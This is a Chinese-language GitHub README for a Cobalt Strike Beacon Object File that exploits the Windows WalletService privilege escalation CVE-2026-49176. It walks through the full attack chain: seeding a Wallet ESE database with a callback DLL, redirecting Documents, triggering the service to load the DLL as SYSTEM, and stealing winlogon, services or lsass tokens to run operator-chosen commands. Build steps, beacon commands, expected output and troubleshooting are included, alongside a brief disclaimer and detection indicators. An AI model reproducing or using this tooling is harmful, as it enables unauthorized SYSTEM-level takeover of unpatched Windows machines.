777erp/CVE-2026-49176_BOF
GitHub: 777erp/CVE-2026-49176_BOF
针对 Windows WalletService 本地提权漏洞 CVE-2026-49176 的 Cobalt Strike BOF 利用工具,可将标准用户权限提升至 SYSTEM。
Stars: 0 | Forks: 0
# CVE-2026-49176 Cobalt Strike BOF
用于通过 Windows **WalletService** 进行本地权限提升的 Cobalt Strike **Beacon Object File (BOF)**(**CVE-2026-49176**,已于 2026 年 7 月修复)。
从中等完整性(标准用户)的 Beacon 出发,此工具会部署恶意的 Wallet ESE 数据库,重定向 Documents,触发 WalletService,并在**交互式桌面**上以 **`NT AUTHORITY\SYSTEM`** 的身份运行**由操作者指定的命令行**。
## 免责声明
仅供授权的安全研究、教育和防御性验证使用。
## 漏洞说明(与原 PoC 相同)
WalletService 在模拟调用者时解析 `FOLDERID_Documents`,然后在打开之前恢复为 **LocalSystem**:
```
\Wallet\wallet.db
```
标准用户可以使用 ESE **用户定义的默认** 回调(`PATH\payload.dll!Export`)填充该数据库,将 Documents 指向受控目录,并调用 WinRT `WalletManager.RequestStoreAsync` / `GetItemsAsync`,以便服务**以 SYSTEM 身份**加载 DLL。
详细分析:[CVE-2026-49176 Exploit Development: WalletService to SYSTEM](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/)
## BOF 与原 PoC 对比 — 权限提升路径
### 相同点:如何获得 SYSTEM 代码执行
```
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
```
| 阶段 | 原 PoC | 此 BOF |
|-------|--------------|----------|
| 填充 ESE DB | `wallet_ese_seed.exe` | BOF 内部 `Jet*A` |
| 重定向 Documents | `documents_path.exe` | BOF 内部 `SHGet/SetKnownFolderPath` |
| 触发 Wallet | PowerShell WinRT | BOF 内部 `RoGetActivationFactory` |
| 回调 DLL | `wallet_callback_shell.dll` | `wallet_callback.dll` |
### 不同点:回调之后的交互式 SYSTEM 进程
WalletService 通常使用 **受限的 SYSTEM token**(没有可用的 `SeAssignPrimaryToken` / `SeImpersonate`)。直接调用 `CreateProcess*` → **1314**。
| | 原 PoC | 此 BOF |
|--|--------------|----------|
| 目标进程 | 硬编码的 `cmd.exe` | **操作者提供的命令行** |
| 主要方法 | 临时 **service** → `shell_broker.exe` → `CreateProcessAsUserW` | 从 `winlogon` / `services` / `lsass` **窃取 token** → 创建进程 |
| 后备方案 | 无 | SCM + `cmd.exe /c "shell_broker.exe" "result.txt"` |
```
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn
→ else CreateService(cmd /c broker) → broker → spawn
```
## 特性
- 使用单个 Beacon 命令即可在活动桌面上以 SYSTEM 身份运行任意命令/文件
- 进程内完整执行链:部署 → 填充 → 重定向 → 触发 → 等待 → 恢复 Documents
- 通过 `bof_pack("bbZ")` 打包 `wallet_callback.dll` + `shell_broker.exe`
- 多策略的 SYSTEM 后渗透创建 + `result.txt` 诊断
- 仅限 x64
## 环境要求
| 项目 | 要求 |
|------|-------------|
| Beacon | **x64**,中等完整性(**非提权**) |
| 目标 | 存在漏洞的 WalletService(2026 年 7 月补丁之前) |
| CS | 支持 BOF 的 Cobalt Strike 4.x |
| 构建 | VS 2019/2022 C++ + Windows 10 SDK(`esent.h`, WinRT) |
## 目录结构
```
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
```
## 构建说明
```
cd bof
build.bat
```
| 命令 | 输出 |
|---------|--------|
| `build.bat` / `build.bat both` | DLL + broker + x64 BOF |
| `build.bat payload` | 仅 DLL + broker |
| `build.bat clean` | 移除构建产物 |
```
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
```
如果 VS 不是默认安装路径,请在 `build.bat` 中修改 `VCVARS64` 路径。
关键标志:`/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od`(CS BOF 链接器安全选项)。
## 用法
### 加载
Cobalt Strike → **Scripts** → **Load** → `cve2026_49176.cna`
(每次重新构建后都需要重新加载。)
### 命令
```
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
```
- 如果路径中没有空格,则不需要加外层引号。
- 可选菜单:Beacon → **CVE-2026-49176** → **Run command as SYSTEM...**
### 在目标上部署
```
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176__\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
```
### 打包
```
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
```
## 预期输出
### 任务行
```
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
```
### 成功(示例)
```
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
```
`detail=` 可能是 `winlogon`、`services`、`lsass` 或 broker 路径。
### 常见失败原因
| 日志 | 含义 |
|-----|---------|
| `JetAddColumn: -1003` | ESE 参数问题 |
| `error=1314` | 受限的 SYSTEM;需要窃取 token / 使用 broker |
| `STEAL_FAIL error=5` | 无法打开目标进程/token |
| `StartService error=32` | 共享冲突(通过 cmd 包装器缓解) |
| `detail=all_methods` | 所有 SYSTEM 后续策略均失败 |
| Linker `Unknown symbol '??_C@_...'` | BOF 构建标志错误;请使用 `build.bat` 重新构建 |
只要重定向成功,即使失败也会恢复 Documents。
## 架构
```
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
```
## 检测特征
- Documents 已知文件夹更改
- `%LOCALAPPDATA%\CVE-2026-49176-BOF\*` + `wallet.db` + 回调 DLL
- WalletService 加载了用户可写的 DLL
- 针对 winlogon/lsass/services 的 `OpenProcess` / token API 调用
- 短暂存在的服务 `CVE49176_*`
- 在交互式会话中调用 `CreateProcessAsUserW` / `CreateProcessWithTokenW`
## 限制
- 仅支持 x64;需要未修补的 WalletService
- Wallet WinRT API 在某些系统版本上可能不可用/已被弃用
- 部署目录不会自动删除
- ESE/WinRT 在 **Beacon 内部**运行(与进程隔离的原 PoC 相比存在崩溃风险)
## 相关链接
| 链接 | 描述 |
|------|-------------|
| [DavidCarliez/CVE-2026-49176_LPE_POC](https://github.com/DavidCarliez/CVE-2026-49176_LPE_POC) | 原版独立的 LPE PoC(上游研究 PoC) |
| [详细分析](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/) | 原始研究文章 |
标签:C/C++, Cobalt Strike, SCP, Web报告查看器, Windows, 事务性I/O, 攻击诱捕, 本地权限提升